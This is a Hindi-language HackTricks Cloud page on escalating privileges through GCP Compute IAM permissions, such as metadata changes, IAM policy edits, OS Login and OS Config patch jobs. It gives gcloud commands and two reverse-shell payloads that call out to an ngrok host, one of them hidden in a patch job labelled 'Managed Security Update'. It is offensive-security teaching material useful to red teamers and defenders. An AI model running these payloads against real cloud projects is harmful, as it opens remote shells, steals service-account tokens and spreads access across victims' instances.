GCP - Compute Privesc
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Compute
GCP में Compute और VPC (नेटवर्क) के बारे में अधिक जानकारी के लिए देखें:
caution
ध्यान दें कि उन सभी विशेषाधिकार वृद्धि हमलों को करने के लिए जो इंस्टेंस के मेटाडेटा को संशोधित करने की आवश्यकता होती है (जैसे नए उपयोगकर्ताओं और SSH कुंजियों को जोड़ना) यह आवश्यक है कि आपके पास इंस्टेंस से जुड़े SA पर actAs
अनुमतियाँ हों, भले ही SA पहले से ही जुड़ा हो!
compute.projects.setCommonInstanceMetadata
उस अनुमति के साथ आप संशोधित कर सकते हैं मेटाडेटा जानकारी को एक इंस्टेंस का और एक उपयोगकर्ता के अधिकृत कुंजियों को बदल सकते हैं, या sudo अनुमतियों के साथ नया उपयोगकर्ता बना सकते हैं। इसलिए, आप किसी भी VM इंस्टेंस में SSH के माध्यम से exec करने में सक्षम होंगे और उस GCP सेवा खाते को चुरा सकते हैं जिसके साथ इंस्टेंस चल रहा है।
सीमाएँ:
- ध्यान दें कि VM इंस्टेंस में चलने वाले GCP सेवा खातों का डिफ़ॉल्ट रूप से बहुत सीमित दायरा होता है
- आपको लॉगिन करने के लिए SSH सर्वर से संपर्क करने में सक्षम होना चाहिए
इस अनुमति का लाभ उठाने के बारे में अधिक जानकारी के लिए देखें:
आप नए स्टार्टअप-स्क्रिप्ट को जोड़कर और इंस्टेंस को पुनरारंभ करके भी इस हमले को कर सकते हैं:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
यह अनुमति पिछली अनुमति के समान विशेषाधिकार देती है लेकिन एक विशिष्ट उदाहरण पर, पूरे प्रोजेक्ट के बजाय। पिछले अनुभाग के लिए समान शोषण और सीमाएँ लागू होती हैं।
compute.instances.setIamPolicy
इस प्रकार की अनुमति आपको पिछली अनुमतियों के साथ एक भूमिका देने और उनका दुरुपयोग करके विशेषाधिकार बढ़ाने की अनुमति देगी। यहाँ एक उदाहरण है जिसमें roles/compute.admin
को एक सेवा खाते में जोड़ा गया है:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
यदि OSLogin इंस्टेंस में सक्षम है, तो इस अनुमति के साथ आप बस gcloud compute ssh [INSTANCE]
चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर रूट प्रिविलेज़ नहीं होंगे।
tip
इस अनुमति के साथ VM इंस्टेंस के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर iam.serviceAccounts.actAs
अनुमति होनी चाहिए।
compute.instances.osAdminLogin
यदि OSLogin इंस्टेंस में सक्षम है, तो इस अनुमति के साथ आप बस gcloud compute ssh [INSTANCE]
चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर रूट प्रिविलेज़ होंगे।
tip
इस अनुमति के साथ VM इंस्टेंस के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर iam.serviceAccounts.actAs
अनुमति होनी चाहिए।
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
यह संभव है कि एक सेवा खाते के साथ एक वर्चुअल मशीन बनाई जाए और सेवा खाते का टोकन चुराया जाए जो मेटाडेटा को एक्सेस करके प्रिविलेज़ को बढ़ाने के लिए है।
इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट यहां मिल सकती है।
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
यदि आपके पास osconfig.patchDeployments.create
या osconfig.patchJobs.exec
अनुमतियाँ हैं, तो आप एक पैच जॉब या डिप्लॉयमेंट बना सकते हैं। यह आपको वातावरण में लेटरली मूव करने और एक प्रोजेक्ट के भीतर सभी कंप्यूट इंस्टेंस पर कोड निष्पादन प्राप्त करने में सक्षम करेगा।
ध्यान दें कि वर्तमान में आपको इंस्टेंस से जुड़े SA पर actAs
अनुमति की आवश्यकता नहीं है।
यदि आप इसे मैन्युअल रूप से एक्सप्लॉइट करना चाहते हैं, तो आपको या तो एक पैच जॉब या डिप्लॉयमेंट** बनानी होगी।
पैच जॉब चलाने के लिए:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
एक पैच डिप्लॉयमेंट को लागू करने के लिए:
gcloud compute os-config patch-deployments create <name> ...
उपकरण patchy का उपयोग अतीत में इस गलत कॉन्फ़िगरेशन का शोषण करने के लिए किया जा सकता था (लेकिन अब यह काम नहीं कर रहा है)।
एक हमलावर इसे स्थिरता के लिए भी दुरुपयोग कर सकता है।
compute.machineImages.setIamPolicy
अपने लिए अतिरिक्त अनुमतियाँ कंप्यूट इमेज पर दें।
compute.snapshots.setIamPolicy
अपने लिए अतिरिक्त अनुमतियाँ एक डिस्क स्नैपशॉट पर दें।
compute.disks.setIamPolicy
अपने लिए अतिरिक्त अनुमतियाँ एक डिस्क पर दें।
एक्सेस स्कोप को बायपास करें
इस लिंक का पालन करते हुए आप कुछ विचार पाएंगे जो एक्सेस स्कोप को बायपास करने के लिए आजमाए जा सकते हैं。
GCP कंप्यूट इंस्टेंस में स्थानीय विशेषाधिकार वृद्धि
GCP - local privilege escalation ssh pivoting
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।